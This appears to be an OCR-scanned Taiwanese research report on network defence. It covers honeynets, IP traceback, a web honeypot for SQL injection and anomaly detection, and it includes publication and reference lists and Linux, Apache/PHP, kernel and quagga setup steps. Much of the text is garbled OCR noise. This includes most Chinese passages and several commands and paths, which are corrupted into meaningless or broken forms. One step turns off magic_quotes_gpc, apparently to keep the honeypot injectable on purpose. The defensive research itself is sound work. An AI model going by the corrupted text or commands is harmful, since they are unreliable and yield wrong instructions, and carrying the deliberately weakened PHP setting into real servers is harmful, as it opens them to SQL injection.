(13) MCC ##1/4 o #c®8 « 1% Javail L 5 » & MCC T &
24p % e
(14) © ¥ o3 Bigo Ry ¢ B /o Bi JavaGUl /i & cdd (7 o
(15) LR s Eegckl @ ¢ P v JavaGUl fim Rk E[( W
7 IPo
I (16) HoneyNet w sF gc 4 : %3 B ¥ eni7 Z (7 H © B3 ¢
s o

EABAF

4L
25
wbo

(17) Traceback w 3R 44y @ #-peic4té B w @ £20 o o
(18) NetFlow Analysis w 47 ##8 © #-> 38 3% P15 hF 4l g
FEI VY SHT e

LR 3 P48y

(19) ¥ FHEGBR L Ay i

%34 7 1% 18 Socket e

= T’?B" ’ f’l‘%’ﬂ

% f 38~ kY
3. HpFe (22 1)
WINDOWS
RS B
(1) (HoneyNet) % VM %% @ = > Honeynet
B RE A2 2z 2
- o/ X
' (2) (HoneyNet) % % Honeynet ** VM 3% 5
WINDOWS
3)
RF RPIREZ ) v
4) ¥ kg2
YT 3
IR P
(5) linux % %e% < iz
(6) deb % it % %
(7) TR uE
BEAE
(8) Hpe 4R
£ 3¢ Bk i
(9) # R#F4
(10) )& dochig # £ p
(11) & shenz &£ p
RS TR G | (12) B* FRED D RRE T B 7L P L

196




Are e fAp | (13) B ks I F R R 2

B2 e e | (14) & 4237 E g

(15) e pesc® » 475 1RGSR IE PR
(16) & 52/ & s

(17) & 5u2E B

(18) #rHEk AR 2

(19) B *& & ¥7

(20) FEoR RGP > i

(21) A25%F H

(22) iplER4F 2

e 39 jie 2

4. Publication(F 3t € ~ #7] ~ &5 ¥ )

g

[1] Yu-Lung Huang, Chih-Y a Shen, Shiuhpyng Shieh, Hung-jui Wang, Cheng-Chun
Lin, “Provable Secure AKA Scheme with Reliable Key Delegation in UMTS,”
|EEE Conference on Secure Software Integration and Reliability Improvement,
2009

[2] S.-C. Chiu, M.-K. Shan and J.-L. Huang, =~ Automatic System for the
Arrangement of Piano Reductions,” Proceedings of International \WWorkshop on
Advancesin Music Information Research (AdMIRe-09), December 14-16, 2009.

[3] S.-Y.Chiu, S.-C. Chiuand J.-L. Huang, ~On Mining Repeating Pattern with
Gap Constraint," Proceedings of International Symposium on Advances of High
Performance Computing and Networking (AHPCN-09), June 25-27, 2009.

[4] S.-C. Chiu, M.-K. Shan, J.-L. Huang and H.-F. Li, ""Mining Polyphonic
Repeating Patterns from Music Data Using Bit-String Based Approaches,”
Proceedings of |EEE International Conference on Multimedia & Expo
(ICME-2009), June 28-July 3, 2009.

[5] C.-C. Hung, C.-W. Chang and W.-C. Peng, ~"Mining Trgectory Profiles for
Discovering User Communities,”" Proceeding of the 1st Workshop on
Location-Based Social Networks (In conjunction with ACM GIS), Seattle, USA,
Nov. 3-6, 2009.

197




[6] C.-C.Hungand W.-C. Peng, Clustering Object Moving Patterns for
Prediction-based Object Tracking Sensor Networks," Proceedings of the ACM
18th International Conference on Information and Knowledge Management
(CIKM), Hong Kong, Nov. 2-6, 2009.

[7] L.-Y.Wei, W.-C. Peng, C.-S. Lin and C.-H. Jung, " Exploring Spatio-Temporal
Features for Traffic Estimation on Road Networks," Proceedings of thellth
International Symposium on Spatial and Tempora Databases (SSTD 2009),
Aaborg, Denmark, July 8-10, 2009.

[8] Paul Y.-S. Chiang and W.-C. Peng, "~ Slab Routing: Adapting Two-Dimensional
Geographic Routing to Three-Dimensions,” Proceedings of the 6th IEEE
Conference on Sensor, Mesh and Ad Hoc Communications and Networks
(SECON 2009), Rome, Italy June 22-26, 2009. (A cceptance rate ~18.8% 81 out
of 431 submissions)

[9] Y.-M. Chang, L.-Y.Wal, C.-S. Lin, C.-H. Jung, W.-C. Peng, |.-H. Chen,
“Exploring GPS Data for Traffic Status Estimation," Proceedings of the 10th
International Conference on Mobile Data Management (Demo paper), Taipei,
Taiwan, May 18-20, 2009.

[10] L.-Y. Wei and W.-C. Peng, "~ Clustering Data Streams in Optimization and
Geography Domains," Proceedingds of the 13th Pacific-Asia Conference on
Knowledge Discovery and Data Mining (PAKDD 2009), Bangkok, Thailand,
April 27-30, 2009.

[11] Yi-Chi Wu, Huei-Ru Tseng, Wuu Yang, Rong-Hong Jan,  DDoS Detection
and Traceback with Decision Tree and Grey Relational Analysis, The 3rd
International Conference on Multimedia and Ubiquitous Engineering (MUE
2009, June 4-6, 2009, Qingdao, China), 20009.

[12] Huei-Ru Tseng, Rong-Hong Jan; Wuu Yang, A Chaotic Maps-based Key
Agreement Protocol that Preserves User Anonymity, IEEE ICC'2009
International Conference on Communications (Ad hoc and Sensor Networking
Symposium, June 14 - 18, Dresden, Germany), 2009.

[13] Tzu-Han Hung, Jiunn-Y eu Chen, and Wuu Y ang, Wei Chung Hsu, Program
Type Recognition for Compiler Optimization, 7th Workshop on Optimizations
for DSP and Embedded Systems (ODES-7, March 22nd, 2009, Sedttle,
Washington), 2009.

[14] Hung Meng Fen, Li Xuan Lang, Jin Cheng Lin, Chen Jian Hua, Hsi-Lu Chao,
198



Ming-Hann Huang, and Ho Ian, “The Research and Development of Honeynet
with IP Traceback,” submitted to The Conference on National Defense Science
and Technology.

[15] Weng Xing Guo, Li Qiao, Wen-Chih Peng, Jiun-Long Huang, Zhung-Xun Liao,
Kuby Huang, Tracy Lin, and TsungWei Wang, “A Network Monitoring System
for Abnormal Network Behaviors,” submitted to The Conference on National
Defense Science and Technol ogy.

R

[1] Shih-1 Huang, Shiuhpyng Shieh, “Secure Encrypted-Data Aggregation for
Wireless Sensor Networks,” accepted for publication, Wireless Networks.

[2] Shih-1 Huang, Shiuhpyng Shieh, “Secret Search Mechanism for Wireless Sensor
Networks with Passive RFIDs,” accepted for publication, International Journal of
Security and Networks

[3] Hsi-Lu Chao and Chen-Lung Chang, “A Fault-tolerant Routing Protocol in
Wireless Sensor Networks,” accepted by International Journal of Sensor
Networks.

[4] J.-L.Huang, S.-C. Chiuand X.-M. Huang, = "GPE: A Grid-based Population
Estimation Algorithm for Resource Inventory Applications over Sensor
Networks," Journa of Information Science and Engineering, Vol. 25, No. 1,
January 2009.

B fp

[1] Chiachen Wu Shiuhpyng Shiehr John Kubiatowicz' Ellen Huang “Anonymous
Fault-Tolerant Routing for Overlay Networks,” submitted to ASTACCS 2010.

199



FoH SRR

1 ARSI R

WP

-

1 mEELHAE L
2. 254 &

SRR S-S !

RS 3V

N P
D -
I 8
= W
oW
g
pss

R LI o )
TAlE A8 e
2.SSL 4

E-)
2
v

W

N
E-)
L
&

=

1 7% ¢ & Bde kit
A% A e
2.SSL 4

ZA 40~ BB L A KR

-

i@ ¥ Web Honeypot 2 %

ST VM H 4 7 1

ER I ER B

HERZE Y S E BT
TR

T 44t 4 & SQL

#7H #cfd SQL injection

injection EFIEIN
BIEL T W ik AR REL —;ﬁ;,@,ﬁ%@zﬂgl

FA AL~ e S R R

200




3. #e FE B H AT E LR

WP

$- &

E

e e

g * Option # i

¢ * ldentification # =
Wi dte ;1@31?—]@7?5“’
ECE

25
wb

FALRE J1* buffer B » 5 | 4t =% LIFEL - B
e BEHFRE

Beiiw i A RSE p#E

U g i B &L 7R @ﬁﬁjﬁ iz =

BRRELGATIEE L | AFE PP B S 2

Ff 42~ 4Fe e B g B A R L R
4, RRR'GAPTEIFE RIS LR

E

2-tier ?H;.‘L:
- 2 CSIM~ 7 2 SIM-

TG e gl e

@R

iz B il F-E oA FAH P iR iR
% EHEA 5 £ X RS T A F L FAA T 8

IR T T
B4 -

B ¥ s R

v iRl fe ik T E

GEIE-ERCE

b G T

\

e

AEE

TR 4t 2

FHe A3 RERGAITE TE LAY R R

201




FZE - FHEESRET
1L RpPREFEEPESFF44
PR FARO8E 1LY 260 (X )

RE AR AR EE RSV o

Bl 143~ R A HF e T+ %84 ¢

Bl 144 AP PHEwRE T a3 584 ¢

202



2. B LPFETRELIPASEET
PERY D¢ EARO8E 127 16 P (B =)

BB R AR

W 146987 LEFF T RF L EH RS & BT

203



BT R LPA S AL LS - BEnR R L AER VN AL E R

FOE AT AR D L2 A B KARME L4 2 A D AFTHEE L 2

LoEs v RESEFEF I 2o R R o LR (HP - Ey A
Bfpr Do p ik g Dot RPRERHLE R IR R REDE
AR AR FE R kS RS R T .

AR R LI P A& G ST Windows # i R 2 1o FopEer w g o
GHERE & TR e S PR E LS E A A R
TWindows 3% 3 e W 2 Proo R v g B B GRAEY AP Iy i
BB R gt e oot G A E P EA R o G WATSRFFLE B IER 4 g
ARG e S BRD EEI7 K2 g APEHY - ERF A e
JREFEFER e P EEBRI PG I AR OPEERES TFE T P
P RTFEFE SR IRFAIIBA R R ST Rk o pE o AR
Lm%&ﬁ§ﬁﬁﬁﬁ$ﬂﬁﬁﬁ’%&%£{@$%ﬂ&&ﬁ%iﬁoiE&
Rl B TR - WP RN F L F L o s AP LT 4
e 8 Bk SR e K BT RO B A L LRI E R Y R
i = il Ardt e ﬁ?*£Mﬁbﬁﬁiﬁsﬁﬁ?%ﬁﬁ§* i1
T
PRSP > ARBTEY AP PREF IR F e FRRD T

APHIE B2 AR AR G EE R A2 R E ATA TS o
R o d WFFRETICE LN LR @83 ?#ﬁ&éﬁﬁﬁﬂﬁﬁéi—’ﬁé&’éﬁ#f&
OB e B ST Y A e L LR T R RGBS iawad RS
#$i§ﬁ§ﬁﬂﬁﬂ%"W%@Wé‘#)ﬁﬁ%ﬁﬁﬁiﬁ%%%i%%
ISP @A A BRI R R R RS RAPMIEY o d 0 H ek
ﬁ?@?ﬁ$@4&%%’A¢W3§ﬁ$ﬁﬁ@§£ﬂﬁﬁ’£ﬁﬁﬁfﬁ*

F_L

ZEIP A AR EEFE > APAREAX LML MET R AL F
*

A

PRFMPE AP ITEY - ARSI AL - eI G
BLow fr ey Ao e ARG BT B FRERE S o APY T ARK
PR AR TP AN R E R o et o R B SHE R ER

204



ETR AT E S PIEL P RIS E AT REY 0 AP
ST i g R RS 2R EEFY
PRAE S LARZE- RIETRDIFE AR FEESF L o Fp o AP
ok S U ﬁiu B 2 )l SR i B o NIk SRS R A S 2-tier 2 4
1@?c1ﬁ”¢rﬁ%m%*’iﬂwﬁﬁﬁﬁﬁﬁ%*ZWM%ﬁﬁﬁiﬁ
FERR o gt otk A M T A SRR G R A TR 2 I F I % A
%o%ﬁ%%ﬂ“mx%’ﬂwg}@eﬁ»f@%m%ﬁﬁuiiﬁﬁ%ﬁ

CEREE VAR RBRREN M K TF ROV R B IETRE o B 4T
1&mﬁﬂﬁoikx»ﬁﬁ Bl Bl e AL FRAT @%ﬂﬁa

» o %“Psﬁ*é.'g AR ZEGIRRES D

LA HFERERBEM S TR o dot TR L IP R REF > mET R
TR BT A AR S EREBF I AN EL > YN R A K E TR
SRTBHAGE O EA AN L DB R A LV D NE

BT Rk s

N

i%%@?%&&%»ﬁﬁﬁ%ﬁﬁ@f:ﬁ%gp%%&ﬁ@;ﬁﬁmé
FPRAERFERREP DFTLT RO RRS PG L 23 RBY 2 MK
wE e ZER T RFRRIAFGH FIFL T ML AT AL 2
72 %% > 4e Cisco ~ Prism Microsystem ~ TriGeo % F% = & o FJgt » AP
FHEMEFFHEE > A H g AR RARF R ANAT XN ARG B 7 S o F 3
Frlg B B FNLFRLFTRE2FE AN T UMM AEEER

)

FRHMEN® 20 gt 2 BB 0L SSL A Bl 0 1k R RN e o
AFFEPR A EFAFAR DR 2B PPy BRI C A%
WER EHE RGN PERE IIEIFP > B LR EF M AR
EY R Y BEFRF R LR AEGE TRER AR AP
Fd g efFhe 4 o A0 FEREEN iAB e gy b, K345 08
#1277 16 p &¥ PRAFAFFLFFEF S % BT o 5 id > NP AR HFE
MBS DY P I A H B RRP FEESH > ART H Y fam st

HE 7 o
205



B4 2

[1]
[2]
[3]
[4]
[5]
[6]

[7]

[8]

[9]

CVE List, http://cve.mitre.org/cve/index.html

Blue Coat, http://www.bluecoat.com/

Foundry, http://www.foundrynet.com/

Citrix, http://www.citrix.com/lang/English/home.asp
OWA SR, http://www.owasp.org/

C. Kruegel and G. Vigna, “Anomaly Detection of Web-based Attacks,”in
ACM conference on Computer and Communications Security (CCS), 2003.
X. Wang, J. Zhou, S. Yu and L. Cai, “Data Mining Methods for Anomaly
Detection of HTTP Request Exploitations,”in Fussy System and Knowledge
discovery (FSKD), 2005.

K.L. Ingham and H. Inoue, “Comparing Anomaly Detection Techniques for
HTTP,”in International Symposium on Recent Advances in Intrusion
Detection (RAID), 2007.

K. Golnabi, R.K. Min, L. Khan and E. Al-Shaer,“Analysis of Firewall
Policy Rules Using Data Mining Techniques,” in IEEE/IFIP Network
Operations and Management Symposium, 2006.

[10] Aleksandar Lazarevic, Levent Ertoz, Vipin Kumar, Aysel Ozgur and Jaideep

Srivastava, “A Comparative Study of Anomaly Detection Schemes in

Network Intrusion Detection,” in SDM Conference, 2003.

[11] D.E. Denning, “An Intrusion Detection Model,” in IEEE Transactions on

Software Engineering, SE-13:222-232, 1987.

[12] T. Lane, C. E. Brodley, “Sequence Matching and Learning in Anomaly

Detection for Computer Security,”in AAAI Workshop: Al Approaches to
Fraud Detection and Risk Management, 1997.

[13] K. Sequeira, M. Zaki, “ADMIT: Anomaly-base Data Mining for

Intrusions,” in ACM SIGKDD Conference, Edmonton, 2002.

[14] V. Barnett, T. Lewis, “Outliers in Statistical Data,” John Wiley and Sons,

NY 1994.

[15] C. C. Aggarwal, P. Yu, “Outlier Detection for High Dimensional Data,” in

ACM SIGMOD Conference, 2001.

206



[16] M.F. Chiang, W.C. Peng and C.H. Lo, "Discovering Popular Co-Cited
Communities in Blogspaces,” in ICDE workshop on Data Engineering for
Blogs, Social Media, and Web 2.0, 2008.

[17] Y. Chi, S. Zhu, X. Song, J. Tatemura, and B. L. Tseng, “Structural and
temporal analysis of the blogosphere through community factorization,” in
ACM SIGKDD, 2007.

[18] Alberts, Christopher J. and Dorofee, Audrey J, "OCTAVESM Method
Implementation Guide,” v2.0, Pittsburgh, PA: Software Engineering
Institute, Carnegie Mellon University, 2001.

[19] C&A Systems Security Ltd, COBRA: Introduction to Risk Analysis,
http://www.ca-systems.zetnet.co.uk/risk.htm

[20] International Information System Security Certification Consortium (1SC)2,
Security management, http:://www.os-global.com

[21] L.C. Wuu, Chan S.H., and C.H. Hung, “Implement an IP Traceback on
Linux Platform,” 2006 symposium on Open Source Technology and
Application, TAIWA.

[22] H. Wang, D. Zhang, and K. G. Shin, “Detecting SYN flooding attacks,” In
Proceedings of IEEE INFOCOM, 2002.

[23] S. Singh, C. Estan, G. Varghese, and S. Savage,”Automated Worm
Fingerprinting,”In Proceedings of Symposium on Operating Systems
Design and Implementation,(OSDI), 2004.

[24] Shigang Chen, and Sanjay Ranka, “Detecting Internet Worms at Early
Stage,” IEEE  JOURNAL ON SELECTED AREAS IN
COMMUNICATIONS, VOL.23, No. 10, 2005.

[25] B. E. Brodsky and B. S. Darkhovsky., Nonparametric Methods in
Change-point Problems, Kluwer Academic Publishers, 1993.

[26] J. Kang, Z. Zhang, and J. B. Ju, “Protect E-commerce against DDoS Attacks
with Improved D-WARD Detection System”, IEEE International
Conference on e-Technology, e-Commerce and e-Service, March 2005.

[27] Peter Mell, Karen Scarfone and Sasha Romanosky, “CVSS A Complete
Guide to the Common Vulnerability Scoring System Version 2.0,” FIRST,
http://www.first.org/cvss.

207



[28] Microsoft Corporation. Microsoft Security Response Center Security
Bulletin Severity Rating System,
http://www.mi crosoft.com/technet/security/bull eti n/rating.mspx.

[29] United States Computer Emergency Readiness Team (US-CERT).
US-CERT Vulnerability Note Field Descriptions.
http://www.kb.cert.org/vuls/html/fiel dhel p.

[30] SANS Ingtitute. SANS Critical Vulnerability Analysis Archive.
http://www.sans.org/newsl etters/cval.

[31] Yue-Lung Cheng, “Uncertainties in Fault Tree Analysis,” Tamkang Journal
of Science and Engineering, Vol. 3, No. 1, 2000.

[32] Liang G. S. and Wang M. J., “Fuzzy fault tree analysis using failure
possibility, Microelectron Reliability,” Vol. 33, No. 4, 1993.

[33] Misra K. B. and Weder G. G., “A new method for fuzzy fault tree analysis,”
Vol. 29, No. 2, 1989.

[34] Tanaka H., Fan L. T., Lai F. S. and Toguchi K., “Fault tree analysis by fuzzy
probability,” IEEE Trans. Reliability, Vol. 32, No. 5, 1983.

[35] NG Leveson, SS Cha, TJ Shimeall , “Safety verification of ada programs

using software fault trees,” IEEE software, 1991.

[36] Guy Helmer, Johnny Wong, Mark Slagell, Vasant Honavar, Les Miller and
Robyn Lutz, “A Software Fault Tree Approach to Requirements Analysis of
an Intrusion Detection System,” Requirements Engineering, Vol. 7, No. 4,
2002.

[37] +R 2 & thip 7B % 2 A SR -2 R BT 87

[38] P. Berkhin, “Survey of Clustering Data Mining Techniques,” Accrue
Software, 2002.

[39] Jain, Murty and Flynn: “Data Clustering: A Review,” ACM Comp. Surv.,
1999.

[40] K. Krishna and M. Narasimha Murty, “Genetic K-Means Algorithm,” IEEE
TRANSACTIONS ON SYSTEMS, MAN, AND CYBERNETICS—PART
B: CYBERNETICS, VOL. 29, NO. 3, JUNE 1999

[41] Li, Y.J., Bo, L., A Normalized Levenshtein Distance Metric, PAMI(29), No.
6, June 2007, pp. 1091-1095.

208



[42] Yue-Lung Cheng, “Uncertainties in Fault Tree Analysis,” Tamkang Journal
of Science and Engineering, Vol. 3, No. 1, 2000.

[43] Liang G. S. and Wang M. J., “Fuzzy fault tree analysis using failure
possibility, Microelectron Reliability,” Vol. 33, No. 4, 1993.

[44] Misra K. B. and Weder G. G., “A new method for fuzzy fault tree analysis,”
Vol. 29, No. 2, 1989.

[45] Tanaka H., Fan L. T., Lai F. S. and Toguchi K., “Fault tree analysis by fuzzy
probability,” IEEE Trans. Reliability, Vol. 32, No. 5, 1983.

[46] T. Baba and S. Matsuda, “Tracing network attacks to their sources,” IEEE
Internet Computing, vol. 6, pp. 20-26, Apr. 2002.

[47] S. Savage, D. Wetheral, A. Karlin, and T. Anderson, “Practical network
support for IP traceback,” in Proceedings of ACM SIGCOMM’00, vol. 30,
pp. 295-306, Oct. 2000.

[48] A.Belenky and N. Ansari, “IP traceback with deterministic packet
marking,” IEEE Communication Letters, vol. 7, pp. 162-164, Apr. 2003.

[49] A. Belenky and N. Ansari, “Tracing multiple attackers with deterministic
packet marking (DPM),” in Proceedings of IEEE Pacific Rim Con.
Communications, Computers and Signal Processing, vol. 1, pp. 49-52, Aug.
2003.

[50] A. Yaar, A. Perrig, and D. Song, “Pi: A path identification mechanism to
defend against DDoS attacks,” in Proceedings of IEEE Symp. Security and
Privacy, pp. 93-107, May 2003.

[51] A. Yaar, A Perrig, and D. Song, ’StackPi: New Packet Marking and
Filtering Mechanisms for DDoS and IP Spoofing Defense,” IEEE JSAC,
Volume 24, Issue 10, pp. 1853 — 1863, Oct. 2006.

[52] R. Chen, J. Park, and R. Marchany, “RIM: Router Interface Marking for IP
Traceback,” in Proceedings of IEEE GLOBECOM, pp. 1-5, Nov. 2006.

[53] Stefan Savage, David Wetherall, AnnaKarlin and Tom Anderson,
Practical Network Support for IP Traceback. In Proceedings of ACM
SIGCOMM 2000, pp. 295-306, August 2000.

209



Windows %% 5 -

1. Windows XP
2. % % Apache & PHP
EasyPHP : http://www.easyphp.org/

. EazyFHP CTRL+E: Configmstion A
:
Apache Bqlbe B o
PHF Extenson CTRIAE. Admmstration. CTRL4+A 3
Ly 57
Mgl Bestart S
©| PlpMyAdmin CTREL4Y Stop F3

2. F2F 0150

NEL > +T & EgIRBT HTFHELENREE > KU R
Configuration pr > - magic_quotes _gpc = Off

4 AR 413 AR S A4 REE s T - T

-~

4.1 & » phpMyAdmin

210

F.



B 0 8 e 0 S o e
L L b L ]

# e P el are—
w 1

42 # = F# i log 2 % msy_board

‘MySOL localhost

WAL Pz 2 FRRE
AU FETEE ) ERETRRE S DAL )

44.1 mﬁﬁ?ﬁ@l(%] h)nF R -log o BRE B

B Loeent » 5 MM log
WA fDesiprer SEWTE oo MW (0T

Tomm  EBR At i

- - - L0 A bgflbe RIS 0B
& E - XU A psibe 08,00 1E
o WS B WX M elR sl MiOIR
P [ bk st T ERE M OX 0 wew vgilka el
] i irole AEHR L 045 NRASAM (e bds BO0.T KN -:u,m
o e t_ SEISHMA | EEER 9

211



o SRR e =

- -

i|
G &
S

|+

Cimm

R E

;e

8
[

R
B
NN

&
R
o
LS

- 1]

BN o TN e | gl

.-I'_;“ti [l

2_ {8 P ﬁ%—t“;}%%i@f—??\‘-»ﬁﬂﬁéﬁ‘, TE Z A o

5 A2:NK E

# %% modulephp 14 % » X RATHRZ T H > B4 IPE o




=
N

1y

4
i
q"\
En
q J
1%
=
'E:C
"_,".\‘\
A}
pa:
P
+

F-h3

% % Linux-Ubuntu 8.04 LTS -

1.k 7 & Ubuntu 8.04 LTS % » £ 74 o

258~ BAniE H o EHE[ ¢ 2 ()] -

3H-E 8 A ][ % % Ubuntu(l)] £ 467

AxFrREafprEFL K-

FAQ:

BT LR NI BusyBox cnfPRE 0 ¥ 3HKEEH BT A T K

Ubuntu()] - 3 F6 1 » ¥ %7 ¢ NI e B Sy = (PR ™ 6 707 3
i) fis %%}”@ S 3

[ al_generic_ide floppy=off irgpoll ] » Enter i& & %t > 3% ﬂ»u hEEE X

CEETE
APT-GET 2 # % % -

1%k 7 F Traceback Source *x » & 4% -

248 Wt 4% % 7l & & (ex:/home/[user]/Desktop/ & T )

3.44 17 Termina » i& » 5]4F @ s1{APT-GET PACKAGE] F# % & T o

ATerminal & » 01-GH+ehFd & 16 > A F[#dpkg—i *.deb] » &7 & 2 & % o
Srdk & KRN R G TRGT 4cdp £ oS N TR R AT
- i“"” = F o

Bt r T - BENTHR L ERASHT Brg BRI ERA o

7.% fx Termina » 34 7 [# sudo vim /etc/bash.bashrc] @ # 8 {4 4+ [export
CLASSPATH=$CLASSPATH: /usr/share/javalmysql.jar] -

8.4F # mysgl-connector-java-5.0.8-bin | [/usr/lib/jvm/java-6-sun-1.6.0.07/jre/lib/ext]
P 4T

QBT EATH A -
213



FAQ:
4% % mysol-server £ 4 pF o %% 2 mysgl ¢ root (h A5 o &% % phpmyadmin
o a%ﬂzmﬁﬂiéfiﬁéﬁ“ﬁﬁ[apachez] °

B

Kerne +;w %2

145 = #2748 W eh linux-2.6.24.6.tar j# R 35 1] 78 & [Jusr/srcl] & T e

2.3 7 Terminal » ﬁgrl ~ [#sudo -s] » #4823 T root -

3.i& » F|[/ust/srcllinux-2.6.24.6] > X 18 $4 i7 [# make menuconfig] > & > F & & -
#-E B # Tl B & T 9 LOAD Alternative Configuration File] # i& » » 4% <Ok> - 3
FE-EES I B R T [ SAVE Alternative Configuration File] & i& ~ » 3%<Ok> > 2.
f 34 (7 <EXit>iF 7 -

455 kP & # 7 [# make bzimage] - [# make modules] » [# make
modules install] -

5.24 {7 [# mkinitramfs —o /boot/initrd.img -2.6.24.6 2.6.24.6] -

6.3% {7 [# cp /usr/src/Linux-2.6.24.6/arch/ 1386/boot/bzlmage /boot/vmlinuz-2.6.24.6] -
7.3% 7 [# cp /usr/src/Linux-2.6.24.6/System. map /boot/System.map-2.6.24.6] -

8.3 F[#update-grub] > B i L EATHES > BREHE ¢ 5 - BRIl EH
b 47 e Kernel i * o

¥mﬁ%:

System Setup % Sk E

1.7 fx firefox i 77 & e 1b gy ~ [http://127.0.0.1/phpmyadmin/] - i& » THREETE & o
i * root tELE > o

2BE[E Y -[AH # * F]># ¥ H[wnl] > 1 {8[localhost] - % #5[1234] - [5E 4
B2 E]-RGE o BERTH R Y F]oR ¥ Fwnl] > 1 48[127.0.01] © %4
[1234] > [FE 8 -2 F ] >R 7 o

3w i F e > BE[LATHEE] -

4w P LT & 022 ATFR AW BE 2 TR wnl o £ BE 1 [
r o2 F R E R EE S Y 5[MySQL Database/tam.sgl] 1 ® #H 7 o ,i%é‘é 49

214



5MCC i@ ctable » H 4c b duEiz » 2 3 h% i F# ka8 ¢ 59 [MySQL
Database/mcc.sgl]  ® #4 {7 » ii&r?é f3iE > 4% table -
6.router =% %> B fx Terminal » # 7
(2) #vim /etc/quagga/daemons sk #&/etc/quaggal P 4% 1 daemons #- zebra - ripd
BT h yes Tk

[ zebra=yes

bgpd=no

ospfd=no

ospféd=no

ripd=yes

ripngd=no |
(2) i& »~ skt router 42 - 4F WAL G K T 4% zebraconf f- ripd.conf |

[letc/quaggal b 45 » i 2 4k &3 i E R e

(3) 23k T A #vim/etc/quaggal zebraconf * kK A 4+ chip i=a e
netmask - 4-% 3 & 3z ip- X & iz interfaceethX ™ & 78— 7Fip 4 TV 0 Bk
ik & ATH R B 7R AT

interface ethX

Ip address X. X.X.X/X

ipv6 nd suppress-ra
!

#vim /etc/quaggadl ripd.conf
AT ek R el b B 0 R BT R KRR ATH
network X.X.X.0/24 [/g—+ X { § i network ethX
(4 &7 GUI /G ek TV BE + P aRERA T &9 2 BE f RO
EORR EFREF M5 KT HIRER
B BEEGREE 0 WV BT R RET K T L BhiE & R Tk
ALIPEu > g r Ripet 1Py nfed @Y L 238+ 9k
o

FAQ:

215



—=\
k-
@
c
=
=0
w=
e
—=\
T
(‘H}
-er\:
1.
3

PIP e e+ F s fr P> ¢ Epd
WOAME N TET SR A ﬁi%l/\ ifconfig» ¥ & i8¢ 975 e+ 4
ooerAp B T F A ethOIPR 25 » 7 ﬁi;—] » 3p 4 #ifconfig ethO X X.X.X » 4
A 1P % ethO

(5) #letc/init.d/quaggarestart kx> quagga #c8 > & iTELY 38 0 1 E
LR o quagga £ g o B IT 0 F LB AR T o~ #etclinit.d/quagga stop
@) 2=is > 7% pingdp s AR TATF RS > » P route-nigs ¢ 2
BN aped £ oo

(NEELE L F bridges B & GUI B Ea 4 6 2K TF » & 3 e+ e ok 20
BRE T B %% X A7ie quagga il 0 & {7 bridgedn £ K e

7.8 Fx Termind » #4 {7 [#sudo vim /etc/rc.local] » #[exit O] % 4c » 4o ® @ (dr%k & %
MPC .+ § fi St d 54 i > 3 tuid bridge p¥ » £ bt g B3 » 1T 45 4 0 3
& ¥ :E rc.local)

ifconfig eth0 0.0.0.0

ifconfig eth1 0.0.0.0

brctl addbr brO

bretl addif brO ethO

brctl addif brO ethl

iIfconfig brO Xxx.xxx.xxx.xxx netmask 000.000.000.000 Up
/home/[ user]/mpcset.o load

(XOXXXXX XXX XXX % % [P Address)
(000.000.000.000 * % Netmask) v » {& #-F Lz s o
8.3, i7[# crontab—€] » B T 3 4o [* */12* * * [home/[user]/myd.o] 5 F %

BE - EFERATE o

1% ,% :

Program Execution #2;%# {7

1.4k g ¢ [CMDsource] 7 4+ & p eh= B 4% %48 ® Fl[/home/[user]/] F#L 4 T -

2.7 Fx Termind » 3] F 4L & [/nome/[user]/] > #4 {7 [# gcc mpeset.c —0 mpcset.o] » [# gec
216



mylistener.c —o myl.o —L/usr/lib/mysgl -Imysglclient] - [# gcc myd.c —o

myd.o —L/usr/lib/mysql -Imysgiclient] - ¢ 2 # mpcset.o~myl.o fe myd.o = B4 % o
3.3 {7[#sudo ./mpcset.oiid 1] > ¢ A 2 mpc.config 4% °

4.3 7 mpcset.o i 7§ & dph o Slick 2o

5.8 fcgp et A B Termina AL § - 4 %[44 /7 [# sudo ./myl.o ethO] {=[# sudo ./myl.o
ethl] > 274t T o

6.97F K TE TR #ar DIV o

7.7 fz Terminal > #-3& #42 « Tracebacke]  #L % 4F ® 3| [/home/[user]/] > i& » T
[/home/[user]/Traceback] » #4 {7 [#]javaMPCSide] » T ¥ #4 {7 MPC server JRj% » 3
7 [#javaTraceback] » v #{ {7 traceback GUI 4 & -

MPC FF #3% i*

MPC B (s » 7L ¢ 7 F/8cD| Bl nE e * vi- 3 Kernel » g8 A%
* Kend-2.6246 #2215 > ¢ e r 3 s MRART H o {2 ’ﬁ?]%*%
gL g~ Ubuntu B3] /i & o

B ~ 8 > MySQL Server &2 Apache © Fp 3% 7 34 {7 » & F #2332 Apache 2_
T3 RET R Frefox HTE é_.f‘:}&ijkﬁs?l ~ http://127.0.0.1 > &5 4RIt
works”ed & 0 % 5 Apache i ¥ #4 {7 o

E@ MPC #:81% > ZRH:{F= BN » B[R £V ["HERY 2
F)-[ % B8 (Terminal)] » & B = B > % - Bi& > Traceback 7L & #73%c ¥ eh

= (FE% % % f~/Traceback/ - ﬂi%l »”cd ~/Traceback/”) » 2_ 1 #4 {7 ”sudo java

MPCSide” > B 4 Server & F Porte % = B2 » myl.o P &7 (FEX & ~/’ﬁia?J »7cd
~) 3 # 7 sudo /myl.o eth0” » % = B I $%:& » myl.o ehp & T H {5
“sudo ./myl.oethl” > 5= BHRF IR FivieFsmf T FR3 H v
+ o et H T4 4 0 A MPCF 4 r p BB sk % 5 £ MPC ¥ bridge 71
# 17 “sudo ./myl.o mybridge”{rixiE 1 % } - &+ KT F > $4 {7 sudo /myl.o
ethX”
Bz BRERIE > MPC e i i Jer 2B g Ty fg?f].%sz T v e
fvoo B - S¥ iz anrouter & bridge o # router # {7 i @ 4B A-1

% bridge# 7 ehd » 4oB A-2 -
217



a root@wnl-PC4: ~/Traceback

f&=(E) #WWR(E) @r(y) 8N\ (O) 8B RB(H)

wnl@un |-PCq:~$ sudo -s

root@nl-PCai~f cd Traceback
root@ni-PC4:~/Tracebacklt java MPCSide
Server starting ¢n 0.0.0.0/0.0.0.0:4862

9]

a2 root@wnl-PC4: ~

fS%(E) iRWR(E) Wm(y) SNE(T) 2R(B) RE(H)

w l&n1-PCd:~$ sudo —s
root@ni-PCa:~8§ ./nyl.o ethd
Listen ethd start|!

L= |l D )

- root@wnl-P_C&i: ~

SR(E) MME(E) BR(v) Z5R(T) o W((B) #RBH(H)
wil&n|-PC4:~% sudo -5

root@ni-PCa:~§ ./nyl.o ethl

Listen ethl start]!

'. root@wnl-PCa: ~

&= (E) #HW(E) (YY) LR 9HEB) RB(H)

wilBuwn 1-PC4:~$ sudo -s
